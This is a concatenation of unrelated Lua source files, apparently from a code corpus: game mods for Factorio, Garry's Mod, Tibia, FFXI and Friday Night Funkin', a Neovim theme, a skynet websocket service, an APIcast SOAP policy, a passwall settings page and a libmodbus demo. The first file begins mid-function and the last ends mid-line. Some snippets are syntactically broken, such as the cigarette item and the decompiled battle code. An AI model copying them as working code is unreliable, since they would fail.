player_market.stats["mining-productivity"] .current stat.multiplier = stat.multiplier + item.offer.modifier player.force.mining_drill_productivity_bonus = player.force.mining_drill_productivity_bonus - item.offer.modifier * (count - 1) stat.lvl = stat.lvl + 1 item.price = market.formatPrice(math.ceil(price * 1.08)) end else if global.ocore.done_with_speed[player.name] ~= nil then return end local stat = player_market.stats["sell-speed"].current stat.lvl = stat.lvl + 1 stat.multiplier = mults[stat.lvl] player_market.sell_speed_lvl = player_market.sell_speed_lvl + 1 player_market.sell_speed_multiplier = mults[stat.lvl] item.price = market.formatPrice(tools.round(price * 1.5)) if player_market.sell_speed_lvl == 13 then global.ocore.done_with_speed[player.name] = true item.price = market.formatPrice(MAX_INT32_POS) end end end end end player_market.market.clear_market_items() for __, item in pairs(offers) do player_market.market.add_market_item(item) end end end end)
local b16 = require('mini.base16') require('mini.base16').setup({ palette = { base00 = '#000000', base01 = '#242422', base02 = '#484844', base03 = '#6c6c66', base04 = '#918f88', base05 = '#b5b3aa', base06 = '#d9d7cc', base07 = '#fdfbee', base08 = '#ff6c60', base09 = '#e9c062', base0A = '#e2e29c', base0B = '#a8ff60', base0C = '#c6c5fe', base0D = '#96cbfe', base0E = '#f183ef', base0F = '#b18a3d', }, }) vim.cmd([[highlight! link PmenuThumb PmenuSel]]) vim.g.colors_name = 'mini16'
--[[ Hunger Johnson: But even making things like cigarettes Hunger Johnson: I don't knwo if Jovan or Mojo wants cigs (WBA Inf.) M-Sgt. Trenchman-: Jovan liked the idea --]] ITEM.name = "Dutch Cigarettes" ITEM.model = "models/props_lab/box01a.mdl" -- TO BE DETERMINED ITEM.category = "Consumables"; ITEM.desc = "A pack of fine dutch cigarettes with ".. self:getData("cigs") .." cigarettes left." ITEM:setData("cigs", 20 ) ITEM.price = 100 -- Called when a player uses the item. ITEM.functions.Smoke = { if ( self:getData("cigs") < 1 ) then print("Your pack is empty.") return false end local s = EffectData(); s:SetOrigin(player:EyePos()); util.Effect("cw_effect_smoke_cig", s); local coughrandom = math.random(1,10) if (coughrandom >= 5) then local cough = { "ambient/voices/cough1.wav", "ambient/voices/cough2.wav", "ambient/voices/cough3.wav", "ambient/voices/cough4.wav" } player:EmitSound(cough[math.random(1,#cough)], 50, 100) end; self:setData("cigs", self:getData("cigs") - 1) return false; }
local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end local function creatureSayCallback(cid, type, msg) if not npcHandler:isFocused(cid) then return false end local player = Player(cid) if msgcontains(msg, 'fugio') then if player:getStorageValue(Storage.WhiteRavenMonasteryQuest.Diary) == -1 then npcHandler:say('To be honest, I fear the omen in my dreams may be true. Perhaps Fugio is unable to see the danger down there. Perhaps ... you are willing to investigate this matter?', cid) npcHandler.topic[cid] = 1 end elseif msgcontains(msg, 'diary') then if player:getStorageValue(Storage.WhiteRavenMonasteryQuest.Diary) == 1 then npcHandler:say('Do you want me to inspect a diary?', cid) npcHandler.topic[cid] = 2 end elseif msgcontains(msg, 'holy water') then local cStorage = player:getStorageValue(Storage.TibiaTales.RestInHallowedGround.Questline) if cStorage == 1 then npcHandler:say('Who are you to demand holy water from the White Raven Monastery? Who sent you??', cid) npcHandler.topic[cid] = 3 elseif cStorage == 2 then npcHandler:say('I already filled your vial with holy water.', cid) end elseif msgcontains(msg, 'amanda') and npcHandler.topic[cid] == 0 then if player:getStorageValue(Storage.TibiaTales.RestInHallowedGround.Questline) == 1 then npcHandler:say('Ahh, Amanda from Edron sent you! I hope she\'s doing well. So why did she send you here?', cid) end elseif msgcontains(msg, 'yes') then if npcHandler.topic[cid] == 1 then npcHandler:say('Thank you very much! From now on you may open the warded doors to the catacombs.', cid) player:setStorageValue(Storage.WhiteRavenMonasteryQuest.Diary, 1) elseif npcHandler.topic[cid] == 2 then if not player:removeItem(2325, 1) then npcHandler:say('Uhm, as you wish.', cid) return true end npcHandler:say('By the gods! This is brother Fugio\'s handwriting and what I read is horrible indeed! You have done our order a great favour by giving this diary to me! Take this blessed Ankh. May it protect you in even your darkest hours.', cid) player:addItem(2327, 1) player:setStorageValue(Storage.WhiteRavenMonasteryQuest.Diary, 2) end elseif npcHandler.topic[cid] == 3 then if not msgcontains(msg, 'amanda') then npcHandler:say('I never heard that name and you won\'t get holy water for some stranger.', cid) npcHandler.topic[cid] = 0 return true end player:addItem(7494, 1) player:setStorageValue(Storage.TibiaTales.RestInHallowedGround.Questline, 2) npcHandler:say('Ohh, why didn\'t you tell me before? Sure you get some holy water if it\'s for Amanda! Here you are.', cid) npcHandler.topic[cid] = 0 elseif msgcontains(msg, 'no') and isInArray({1, 2}, npcHandler.topic[cid]) then npcHandler:say('Uhm, as you wish.', cid) npcHandler.topic[cid] = 0 end return true end npcHandler:setMessage(MESSAGE_GREET, "Welcome, |PLAYERNAME|! Feel free to tell me what has brought you here.") npcHandler:setMessage(MESSAGE_FAREWELL, "Good bye. Come back soon.") npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new())
ys = ys or {} slot1 = ys.Battle.BattleBuffEvent slot2 = ys.Battle.BattleConst.BuffEffectType slot3 = class("BattleFleetBuffUnit") ys.Battle.BattleFleetBuffUnit = slot3 slot3.__name = "BattleFleetBuffUnit" slot3.Ctor = function (slot0, slot1, slot2) slot0._id = slot1 slot0._tempData = slot0.Battle.BattleDataFunction.GetBuffTemplate(slot1, slot2 or 1) slot0._time = slot0._tempData.time slot0._RemoveTime = 0 slot0._effectList = {} slot0._triggerSearchTable = {} slot0._level = slot2 or 1 for slot6, slot7 in ipairs(slot0._tempData.effect_list) do slot0._effectList[slot6] = slot0.Battle[slot7.type].New(slot7) for slot13, slot14 in ipairs(slot9) do if slot0._triggerSearchTable[slot14] == nil then slot0._triggerSearchTable[slot14] = {} end slot15[#slot15 + 1] = slot8 end end slot0:SetActive() end slot3.SetArgs = function (slot0, slot1) slot0._host = slot1 for slot5, slot6 in ipairs(slot0._effectList) do slot6:SetArgs(slot1, slot0) end end slot3.setRemoveTime = function (slot0) slot0._RemoveTime = pg.TimeMgr.GetInstance():GetCombatTime() + slot0._time slot0._cancelTime = nil end slot3.Attach = function (slot0, slot1) slot0._stack = 1 slot0:SetArgs(slot1) slot0:onTrigger(slot0.ON_ATTACH, slot1) slot0:setRemoveTime() end slot3.Stack = function (slot0, slot1) slot0._stack = math.min(slot0._stack + 1, slot0._tempData.stack) slot0:onTrigger(slot0.ON_STACK, slot1) slot0:setRemoveTime() end slot3.UpdateStack = function (slot0, slot1, slot2) return end slot3.Remove = function (slot0) slot0:onTrigger(slot0.ON_REMOVE, slot0._host) slot0._host:GetFleetBuffList()[slot0._id] = nil slot0:Clear() end slot3.Update = function (slot0, slot1, slot2) if slot0:IsTimeToRemove(slot2) then slot0:Remove() else slot0:onTrigger(slot0.ON_UPDATE, slot1, slot2) end end slot3.onTrigger = function (slot0, slot1, slot2, slot3) if slot0._triggerSearchTable[slot1] == nil or #slot4 == 0 then return end for slot8, slot9 in ipairs(slot4) do if slot9:IsActive() then slot9:NotActive() slot9:Trigger(slot1, slot2, slot0, slot3) slot9:SetActive() end end end slot3.IsTimeToRemove = function (slot0, slot1) if slot0._time == 0 then return false else return slot0._RemoveTime <= slot1 end end slot3.IsActive = function (slot0) return slot0._isActive end slot3.SetActive = function (slot0) slot0._isActive = true end slot3.NotActive = function (slot0) slot0._isActive = false end slot3.GetCaster = function (slot0) return nil end slot3.GetID = function (slot0) return slot0._id end slot3.GetLv = function (slot0) return 1 end slot3.Clear = function (slot0) slot0._host = nil for slot4, slot5 in ipairs(slot0._effectList) do slot5:Clear() end end return
function update(...) --[[sb.logInfo("updating") for k, v in pairs {...} do sb.logInfo(string.format("key \"%s\" of type %s", k, type(v))) end]] end function init() --[[for k,v in pairs(mcontroller) do sb.logInfo("mcontroller." .. k) end]] end --setmetatable(_ENV, {__index = function(_, n) sb.logInfo("unknown func " .. n) end})
function onCreate() --Iterate over all notes for i = 0, getProperty('unspawnNotes.length')-1 do if getPropertyFromGroup('unspawnNotes', i, 'noteType') == 'smiler_notesdrain' then --Check if the note on the chart is a Bullet Note setPropertyFromGroup('unspawnNotes', i, 'texture', 'smiler_notes'); --Change texture setPropertyFromGroup('unspawnNotes', i, 'noteSplashHue', 0); setPropertyFromGroup('unspawnNotes', i, 'noteSplashSat', -20); setPropertyFromGroup('unspawnNotes', i, 'noteSplashBrt', 1); if getPropertyFromGroup('unspawnNotes', i, 'mustPress') then --Doesn't let Dad/Opponent notes get ignored setPropertyFromGroup('unspawnNotes', i, 'ignoreNote', true); --Miss has penalties end end end end local healthDrain = 0; function opponentNoteHit(id, noteData, noteType, isSustainNote) if noteType == 'smiler_notesdrain' then healthDrain = healthDrain + 0.43; end end function onUpdate(elapsed) if healthDrain > 0 then healthDrain = healthDrain - 0.29 * elapsed; setProperty('health', getProperty('health') - 0.29 * elapsed); if healthDrain < 0.1 then healthDrain = 0; end end end
local skynet = require "skynet" local netpack = require "skynet.websocketnetpack" local socket = require "skynet.socket" local cluster = require "skynet.cluster" local servicepool = require "servicepool" local mc = require "skynet.multicast" local dc = require "skynet.datacenter" require "skynet.manager" local CMD = {} local SOCKET = {} local gate local agents = {} ---当前在使用中的agent key为socket value:agent local agentPool ---用户agent 协程池 local channels = {} ---multicast function SOCKET.open(fd, addr) local agent = agentPool.getservice("agent") local channel = channels["MCBROADCAST"] skynet.send(agent, "lua", "start", { gate = gate, client = fd, watchdog = skynet.self(), channel = channel.channel}) agents[fd] = agent end -- 广播本connector的消息 function CMD.broadcast(msg) -- print('CMD.broadcast', msg) local channel = channels["MCBROADCAST"] channel:publish(msg) end local function close_agent(fd) local a = agents[fd] agents[fd] = nil if a then skynet.call(gate, "lua", "kick", fd) -- disconnect never return skynet.send(a, "lua", "disconnect") end agentPool.recycleservice(a) end function SOCKET.close(fd) skynet.error("socket close", fd) close_agent(fd) end function SOCKET.error(fd, msg) skynet.error("socket error", fd, msg) close_agent(fd) end function SOCKET.warning(fd, size) -- size K bytes havn't send out in fd skynet.error("socket warning", fd, size) end function SOCKET.data(fd, msg) skynet.error("i am wswatchdog.... data") end -- 启动的时候,由wsmain 调用 function CMD.start(conf) skynet.call(gate, "lua", "open", conf) agentPool = servicepool.new("agent", 512) local channel = mc.new() channels["MCBROADCAST"] = channel end skynet.start(function() -- init agent pool skynet.dispatch("lua", function(session, source, cmd, subcmd, ...) if cmd == "socket" then local f = SOCKET[subcmd] f(...) else local f = assert(CMD[cmd]) skynet.ret(skynet.pack(f(subcmd, ...))) end end) -- 获取cluster的节点名称 local clusterNodeName = assert(skynet.getenv('clusterNodeName')) local service = "." .. clusterNodeName .. "Service" -- print('clusterNodeName', clusterNodeName, "Service", service) cluster.open(clusterNodeName) skynet.register(service) gate = skynet.newservice("wsgate") end)
--[[ Mail Baby API This is an API defintion for accesssing the Mail.Baby mail service. The version of the OpenAPI document: 1.0.0 Contact: detain@interserver.net Generated by: https://openapi-generator.tech ]] -- error_response class local error_response = {} local error_response_mt = { __name = "error_response"; __index = error_response; } local function cast_error_response(t) return setmetatable(t, error_response_mt) end local function new_error_response(code, message) return cast_error_response({ ["code"] = code; ["message"] = message; }) end return { cast = cast_error_response; new = new_error_response; }
fprp.openHitMenu = fprp.stub{ name = "openHitMenu", description = "Open the menu that requests a hit.", parameters = { { name = "hitman", description = "The hitman to request the hit to.", type = "Player", optional = false } }, returns = { }, metatable = fprp } fprp.PLAYER.drawHitInfo = fprp.stub{ name = "drawHitInfo", description = "Start drawing the hit information above a hitman.", parameters = { }, returns = { }, metatable = fprp.PLAYER } fprp.PLAYER.stopHitInfo = fprp.stub{ name = "stopHitInfo", description = "Stop drawing the hit information above a hitman.", parameters = { }, returns = { }, metatable = fprp.PLAYER }
local tiny = require "lib/tiny" local Timer = require "lib/hump/timer" local entity = {} entity.box2d_world = require "engine/entity/physics/box2d_world" -- Tiled map entity.map = require "engine/entity/map/tiled_map" local component = {} local system = {} -- Box2D system system.box2d_world = require "engine/system/physics/box2d_world" system.box2d_colliders = require "engine/system/collision/box2d_colliders" -- Debug systems system.debug = {} system.debug.draw = {} system.debug.draw.box2d_world = require "engine/system/physics/debug/box2d_world" local game = { fullscreen = false, vsync = true, msaa = 0 } function love.load() love.graphics.setDefaultFilter("nearest", "nearest") love.window.setMode(800, 600, game) love.window.setTitle("ECS Game Engine") local meter = 16 love.physics.setMeter(meter) local test_entities = {} table.insert(test_entities, entity.box2d_world(0, 9.8 * meter)) table.insert(test_entities, { x = 10, y = 10, width = 100, height = 100, collision = { shape = "rectangle" } }) table.insert(test_entities, { collision = { static = true, shape = "polygon", points = {150, 100, 200, 50, 250, 150} } }) game.world = tiny.world( system.box2d_world.init, system.box2d_colliders.init, system.box2d_colliders.update, system.debug.draw.box2d_world, unpack(test_entities) ) game.world:update(0) end function love.update(dt) Timer.update(dt) game.world:update(dt) end function love.draw() local dt = love.timer.getDelta() system.debug.draw.box2d_world:update(dt) end
-- local M = {} local dir = cc.Director:getInstance() local _running local listeners = {} local function process() if not _running then return end local cam = cc.Camera:getVisitingCamera() or dir:getRunningScene():getDefaultCamera() if not cam then return end local xx, yy = lstg.GetMousePosition() local p = cc.p(xx, yy) ---@param k ccui.Widget for k, v in pairs(listeners) do if k:hitTest(p, cam) then if v[1] then v[1]() end else if v[2] then v[2]() end end end end ---@param attachNode cc.Node function M.start(attachNode) attachNode:scheduleUpdateWithPriorityLua(function() process() end, 1) _running = true end function M.stop(attachNode) if attachNode then attachNode:unscheduleUpdate() end listeners = {} _running = false end function M.pause() _running = false end function M.resume() _running = true end function M.clear() listeners = {} end function M.addListener(widget, onHover, onUnhover) listeners[widget] = { onHover, onUnhover } end function M.removeListener(widget) listeners[widget] = nil end ---@param widget ccui.Widget function M.register(widget, onHover, onUnhover) widget:onNodeEvent('enter', function() M.addListener(widget, onHover, onUnhover) end) widget:onNodeEvent('exit', function() M.removeListener(widget) end) end return M
-- baseclass for game sprites local SpriteObj = { x = 0, y = 0, w = 16, h = 16, vx = 0, vy = 0, img = 'default', name = 'test object', } SpriteObj.__index = SpriteObj --[[ sets and attaches all key-value pairs from the table [options] to the new object. options *can* be empty but should probably include at least img and type overrides --]] function SpriteObj:new(options) return setmetatable(options, self) end return SpriteObj
local Class = require("lib.class") local StateMachine = require("lib.state_machine") local Anim = require("lib.animations") local Sprite = require("lib.sprite") local Rect = require("lib.rect") local B = Class:derive("bear") local bear local idle = Anim(0,0,209,108,8,8,16) local attack = Anim(0,108,209,108,8,8,20) local sleep = Anim(0,216,209,108,6,6,12) -- w=208 -- h=108 function B:new() if bear == nil then bear = love.graphics.newImage("Sprite/bear.png") end self.spr = Sprite(bear,208,108,100,430,1.2,1.2) self.spr:add_animations({idle = idle, attack = attack,sleep = sleep}) self.spr:animation("idle") self.vx = 1 self.anim_sm = StateMachine(self, "idle") self.vel = 170 end function B:idle_enter(dt) self.spr:animation("run") end function B:attack_enter(dt) self.spr:animation("attack") end function B:sleep_enter(dt) self.spr:animation("sleep") end function B:rect_(x_,y_,w_,h_) return Rect.create_centered(self.spr.pos.x+x_,self.spr.pos.y+y_,(self.spr.w+w_)*self.spr.scale.x,(self.spr.h+h_)*self.spr.scale.y) end function B:update(dt) self.anim_sm:update(dt) self.spr:update(dt) --[[if self.spr.pos.x >= (love.graphics.getWidth())*3 then self.spr:flip_h(true) self.vx = -1 elseif self.spr.pos.x < 0 then self.spr:flip_h(false) self.vx = 1 end]]-- self.spr.pos.x = self.spr.pos.x + self.vx * self.vel * dt end function B:draw() --local r1= self:rect_(0,0,250,10) --love.graphics.rectangle("line",r1.x,r1.y,r1.w,r1.h) self.spr:draw() end return B
--[[ Copyright 2019 The Spin-Scenario Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================-]] -- example: gradient pulses. peak_grad{40} -- T/m slew_rate{200} -- T/m/s local grad = exprGrad{axis ='Y', expr ='Sin(t*7)', width =2} write("grad.txt", grad) plot(grad) os.exit() local g1 = trapGrad{axis ='x', width = 2, area = 70} local g2 = trapGrad{axis ='z', width = 2, amp = 35} local g3 = trapGrad{axis ='x', flat_time = 5, amp = 40} local g4 = trapGrad{axis ='y', flat_time = 5, flat_area = 150} plot(g1, g2, g3, g4) seq_parm{fov = '100*100', matrix = '32*32'} local gy =trapGrad{axis ="Z", func ="phase_encode", width = 0.5} plot(gy) --local grad = exprGrad{axis ='Y', expr ='Sin(t*7)', width =2}
--- SOAP Policy -- This policy adds support for a very small subset of SOAP. -- This policy basically expects a SOAPAction URI in the SOAPAction header or -- the content-type header. -- The SOAPAction header is used in v1.1 of the SOAP standard: -- https://www.w3.org/TR/2000/NOTE-SOAP-20000508/#_Toc478383528, whereas the -- Content-Type header is used in v1.2 of the SOAP standard: -- https://www.w3.org/TR/soap12-part2/#ActionFeature -- The SOAPAction URI is matched against the mapping rules defined in the -- policy and calculates a usage based on that so it can be authorized and -- reported against 3scale's backend. local ipairs = ipairs local insert = table.insert local MappingRule = require('apicast.mapping_rule') local Usage = require('apicast.usage') local mapping_rules_matcher = require('apicast.mapping_rules_matcher') local MimeType = require('resty.mime') local resty_url = require 'resty.url' local policy = require('apicast.policy') local _M = policy.new('SOAP policy') local soap_action_header = 'SOAPAction' local soap_action_ctype = 'application/soap+xml' local new = _M.new -- Extracts a SOAP action from the SOAPAction header. Returns nil when not -- present. local function soap_action_in_header(headers) return headers[soap_action_header] end -- Extracts a SOAP action from the Content-Type header. In SOAP, the -- type/subtype is application/soap+xml, and the action is specified as a -- param in that header. When there is no SOAP action, this method returns nil. local function soap_action_in_ctype(headers) local mime_type = MimeType.new(headers['Content-Type']) if mime_type.media_type == soap_action_ctype then return mime_type:parameter('action') else return nil end end -- Extracts a SOAP action URI from the SOAP Action and the Content-Type -- headers. When both contain a SOAP action, the Content-Type one takes -- precedence. local function extract_soap_uri() local headers = ngx.req.get_headers() or {} return soap_action_in_ctype(headers) or soap_action_in_header(headers) end local function usage_from_matching_rules(soap_action_uri, rules) return mapping_rules_matcher.get_usage_from_matches( nil, soap_action_uri, {}, rules) end local function mapping_rules_from_config(config) if not (config and config.mapping_rules) then return {} end local res = {} for _, config_rule in ipairs(config.mapping_rules) do local rule = MappingRule.from_proxy_rule(config_rule) insert(res, rule) end return res end --- Initialize a SOAP policy -- @tparam[opt] table config Configuration function _M.new(config) local self = new(config) self.mapping_rules = mapping_rules_from_config(config) return self end --- Rewrite phase -- When a SOAP Action is received via the SOAPAction or the Content-Type -- headers, the policy matches it against the mapping rules defined in the -- configuration of the policy and calculates the associated usage. -- This usage is merged with the one received in the shared context. -- @tparam table context Shared context between policies function _M:rewrite(context) local soap_action_uri = extract_soap_uri() -- If the soap_action_uri is a complete url, the mapping rule is only the -- path, so parse to send only the path. local url, err = resty_url.parse(soap_action_uri) if not err then soap_action_uri = url.path end if soap_action_uri then local soap_usage = usage_from_matching_rules( soap_action_uri, self.mapping_rules) context.usage = context.usage or Usage.new() context.usage:merge(soap_usage) end end return _M
local gl = require 'gl' local v2 = require 'dokidoki.v2' assert(player, 'missing player argument') picked = false local OFFSET_PIXELS = -4 local SEGMENTS = 16 local RADIUS = 32 local fade = 0.2 local pulse_time = 0 callback = callback or function () end self.sprite.image = assert(game.resources.factory_sprites[player]) function update() pulse_time = pulse_time + 1 if not picked and game.the_one_button.held(player) then picked = true callback() end if picked then fade = math.min(fade + 0.1, 1) self.sprite.color = {fade, fade, fade} end end function draw() local pos = self.transform.pos + OFFSET_PIXELS * self.transform.facing local pulse = (1 + math.cos(pulse_time/180*2*math.pi))/2 local color = fade * pulse + 1 * (1-pulse) gl.glPushMatrix() gl.glTranslated(pos.x, pos.y, 0) -- dark section gl.glBegin(gl.GL_TRIANGLE_FAN) gl.glColor4d(0, 0, 0, 0.6) gl.glVertex2d(0, 0) for point = 0,SEGMENTS do local vert = v2.unit(math.pi/2 - point / SEGMENTS * math.pi * 2) * RADIUS gl.glVertex2d(vert.x, vert.y) end gl.glVertex2d(0, 0) gl.glEnd() -- light section if picked then gl.glBegin(gl.GL_TRIANGLE_FAN) local bottom_highlight_angle = player * math.pi / 2 - math.pi gl.glColor4d(0.5, 1, 1, 0.7) gl.glVertex2d(0, 0) for point = 0,SEGMENTS do gl.glVertex2d(math.sin(point / SEGMENTS * math.pi * 0.5 + bottom_highlight_angle) * RADIUS, math.cos(point / SEGMENTS * math.pi * 0.5 + bottom_highlight_angle) * RADIUS) end gl.glEnd() end gl.glColor3d(color, color, color) game.resources.a_button:draw() gl.glColor3d(1, 1, 1) gl.glPopMatrix() end
local uci = require"luci.model.uci".cursor() local api = require "luci.model.cbi.passwall.api.api" local appname = "passwall" local n = {} uci:foreach(appname, "nodes", function(e) if e.type and e.remarks and e.address and e.port then if (e.type == "V2ray_balancing" or e.type == "V2ray_shunt") or (e.address:match("[\u4e00-\u9fa5]") and e.address:find("%.") and e.address:sub(#e.address) ~= ".") then n[e[".name"]] = "%s:[%s] %s:%s" % {e.type, e.remarks, e.address, e.port} end end end) local key_table = {} for key, _ in pairs(n) do table.insert(key_table, key) end table.sort(key_table) m = Map(appname) -- [[ Auto Switch Settings ]]-- s = m:section(TypedSection, "auto_switch", translate("Auto Switch")) s.anonymous = true ---- Enable o = s:option(Flag, "enable", translate("Enable")) o.default = 0 o.rmempty = false ---- Testing Time o = s:option(Value, "testing_time", translate("How often is a diagnosis made"), translate("Units:minutes")) o.default = "3" ---- TCP Node -- local tcp_node_num = tonumber(api.uci_get_type("global_other", "tcp_node_num", 1)) -- 暂时只支持TCP1 local tcp_node_num = 1 for i = 1, tcp_node_num, 1 do o = s:option(DynamicList, "tcp_node" .. i, "TCP " .. i .. " " .. translate("List of backup nodes"), translate( "List of backup nodes, the first of which must be the primary node and the others the standby node.")) for _, key in pairs(key_table) do o:value(key, n[key]) end end return m
local state = {} state._NAME = ... local Body = require'Body' local t_entry, t_update, t_exit local motion_inited function state.entry() print(state._NAME..' Entry' ) local t_entry_prev = t_entry -- When entry was previously called t_entry = Body.get_time() t_update = t_entry motion_inited=false end function state.update() -- print(state._NAME..' Update' ) -- Get the time of update if not motion_inited then -- motion_ch:send'init' --let motion state moving -- if head_ch then head_ch:send'init' end motion_inited=true end local t = Body.get_time() local dt = t - t_update -- Save this at the last update time t_update = t if t-t_entry>1.0 then return "done" end end function state.exit() print(state._NAME..' Exit' ) t_exit = Body.get_time() end return state
local render = function(self) end return function(looky) return { build = function(options) local base = looky:makeBaseLayout(options) base.renderCustom = render base.contentWidth = function(self) return self.width end base.contentHeight = function(self) return self.height end return base end, schema = { width = { required = true, schemaType = "oneOf", possibilities = { { schemaType = "fromList", list = {"fill"} }, { schemaType = "number" } }}, height = { required = true, schemaType = "oneOf", possibilities = { { schemaType = "fromList", list = {"fill"} }, { schemaType = "number" } }}, } } end
AddCSLuaFile() wmChat.anonyChat.config = wmChat.anonyChat.config or {} local CONFIG = wmChat.anonyChat.config CONFIG.MaxChatLimit = 350 CONFIG.ErrorSound = "ambient/alarms/klaxon1.wav" CONFIG.NextErrorSound = 1
--[[ Very simple demo of using client/master APIs Karl Palsson, April 2016 --]] mb = require("libmodbus") print("using libmodbus runtime version: ", mb.version()) print("using lua-libmodbus compiled against libmodbus: ", mb.VERSION_STRING) local dev = mb.new_tcp_pi("localhost", 1502) print(dev:get_byte_timeout()) print(dev:get_response_timeout()) dev:set_debug() --dev:set_error_recovery(mb.ERROR_RECOVERY_LINK, mb.ERROR_RECOVERY_PROTOCOL) --dev:set_error_recovery(mb.ERROR_RECOVERY_NONE) ok, err = dev:connect() if not ok then error("Couldn't connect: " .. err) end function lmb_unit_test(dev) dev:set_slave(17) local base_address = 0x16b local regs, err regs, err = dev:read_registers(base_address, 3) if not regs then error("read failed: " .. err) end print("read 3 from 0x16b: ") for r,v in ipairs(regs) do print(string.format("register (offset %d) %d: %d (%#x): %#x (%d)", r, r, r + base_address - 1, r + base_address -1, v, v)) end print("write single 0x16c -> 0xabcd ", dev:write_register(0x16c, 0xabcd)) regs, err = dev:read_registers(0x16c, 1) if not regs then error("read1 failed: ", err) end print("reading back: single 0x16c: ", string.format("%x", regs[1])) regs, err = dev:read_input_registers(0x108, 1) if not regs then print("read input regs failed", err) end print("should be 0xa: ", string.format("%x", regs[1])) bits, err = dev:read_bits(0x130, 0x25) if not bits then print("read bits failed", err) end for r,v in ipairs(bits) do print(string.format("bit (offset %d) %d: %d (%#x): %#x (%d)", r, r, r + 0x130 - 1, r + 0x130 -1, v, v)) end bits, err = dev:write_bits(0x130, { 0xffff,0, true,0,false,1,0,99 }) if not bits then print("write bits failed", err) end bits, err = dev:read_bits(0x130, 8) print("reading back 8 bits, should be 0xa5") for r,v in ipairs(bits) do print(string.format("bit (offset %d) %d: %d (%#x): %#x (%d)", r, r, r + 0x130 - 1, r + 0x130 -1, v, v)) end err = dev:write_bit(0x131, 1); if err then print("write bit returned:", err) end bits, err = dev:read_bits(0x131, 1) if not bits then print("re-reading bits failed", err) end print("rereading bits should be 1 now: ", bits[1]) bits, err = dev:read_input_bits(0x1c4, 8) if not bits then print("read bits failed", err) end for r,v in ipairs(bits) do print(string.format("bit (offset %d) %d: %d (%#x): %#x (%d)", r, r, r + 0x1c4 - 1, r + 0x1c4 -1, v, v)) end report = dev:report_slave_id() print("report slaveid: ", report:byte(1), report:byte(2), report:sub(3)) end function write_test(dev) -- will autoround 32.98 to 32. no magic support for writing floats yet :| -- numbers are cast to uint16_t internally. local res, err = dev:write_registers(0x2000, { 0xabcd, 32.98, 0xfffe, 0xabcd, -1 }) if not res then print(err) end regs, err = dev:read_registers(base_address, 5) print("so, no magic casting 16bit tosigned!", regs[5], -1) print(dev:write_register(0x2006, 2)) end lmb_unit_test(dev)
----------------------------------- -- Area: Dynamis - Xarcabard -- Mob: Animated Kunai ----------------------------------- require("scripts/globals/status"); local ID = require("scripts/zones/Dynamis-Xarcabard/IDs"); ----------------------------------- function onMobEngaged(mob,target) if (mob:AnimationSub() == 3) then SetDropRate(109,1579,1000); else SetDropRate(109,1579,0); end target:showText(mob,ID.text.ANIMATED_KUNAI_DIALOG); SpawnMob(17330442):updateEnmity(target); SpawnMob(17330443):updateEnmity(target); SpawnMob(17330444):updateEnmity(target); SpawnMob(17330454):updateEnmity(target); SpawnMob(17330455):updateEnmity(target); SpawnMob(17330456):updateEnmity(target); end; function onMobFight(mob,target) -- TODO: add battle dialog end; function onMobDisengage(mob) mob:showText(mob,ID.text.ANIMATED_KUNAI_DIALOG+2); end; function onMobDeath(mob, player, isKiller) player:showText(mob,ID.text.ANIMATED_KUNAI_DIALOG+1); DespawnMob(17330442); DespawnMob(17330443); DespawnMob(17330444); DespawnMob(17330454); DespawnMob(17330455); DespawnMob(17330456); end;
-------------------------------- -- @module EaseBounce -- @extend ActionEase -- @parent_module cc ---@class cc.EaseBounce:cc.ActionEase local EaseBounce = {} cc.EaseBounce = EaseBounce return nil
local PANEL = {} function PANEL:Init() self.title = t'ui.currency.title' end function PANEL:Paint(w, h) DisableClipping(true) draw.RoundedBox(0, -4, -4, w + 8, h + 8, Color(50, 50, 50, 100)) DisableClipping(false) end function PANEL:PaintOver(w, h) if self.title then local text = t(self.title) local font = Theme.get_font('main_menu_normal_large') local text_w, text_h = util.text_size(text, font) DisableClipping(true) draw.textured_rect(Theme.get_material('gradient_down'), -4, -text_h - 4, text_w + 8, text_h, Color(50, 50, 50, 100)) draw.SimpleText(text, font, 0, -text_h - 4, color_white:alpha(150)) DisableClipping(false) end end function PANEL:SizeToContents() self:SetSize(self.max_w + 4, self.max_h + 4) end function PANEL:set_currencies(currency_table) self.currencies = currency_table end function PANEL:rebuild() self.max_w = 0 self.max_h = 0 self:Clear() for k, v in pairs(Currencies.all()) do local amount = self.currencies[k] or 0 if !v.hidden or v.hidden and amount > 0 then local line = vgui.create('DPanel', self) line:SetPaintBackground(false) local label = vgui.create('DLabel', line) label:SetText(t(v.name)..': '..amount..' '..(v.symbol or '')) label:SetFont(Theme.get_font('main_menu_normal')) label:SetTextColor(Color('white')) label:SizeToContents() label:Dock(FILL) local button_size = label:GetTall() local w = label:GetWide() if amount > 0 then local give_button = vgui.create('fl_button', line) give_button:SetSize(button_size, button_size) give_button:SetDrawBackground(false) give_button:SetTooltip(t'ui.currency.give.title') give_button:set_icon('fa-hand-holding-usd') give_button:set_icon_size(button_size) give_button:Dock(RIGHT) give_button.DoClick = function(btn) Derma_StringRequest(t'ui.currency.give.title', t'ui.currency.give.message', '', function(text) local value = tonumber(text) if value and value > 0 then Cable.send('fl_currency_give', value, k) else PLAYER:notify('error.invalid_amount') end end) end w = w + give_button:GetWide() local drop_button = vgui.create('fl_button', line) drop_button:SetSize(button_size, button_size) drop_button:SetDrawBackground(false) drop_button:SetTooltip(t'ui.currency.drop.title') drop_button:set_icon('coins') drop_button:set_icon_size(button_size) drop_button:Dock(RIGHT) drop_button.DoClick = function(btn) Derma_StringRequest(t'ui.currency.drop.title', t'ui.currency.drop.message', '', function(text) local value = tonumber(text) if value and value > 0 then Cable.send('fl_currency_drop', value, k) else PLAYER:notify('error.invalid_amount') end end) end w = w + drop_button:GetWide() end line:SetSize(w, label:GetTall()) line:Dock(TOP) if line:GetWide() > 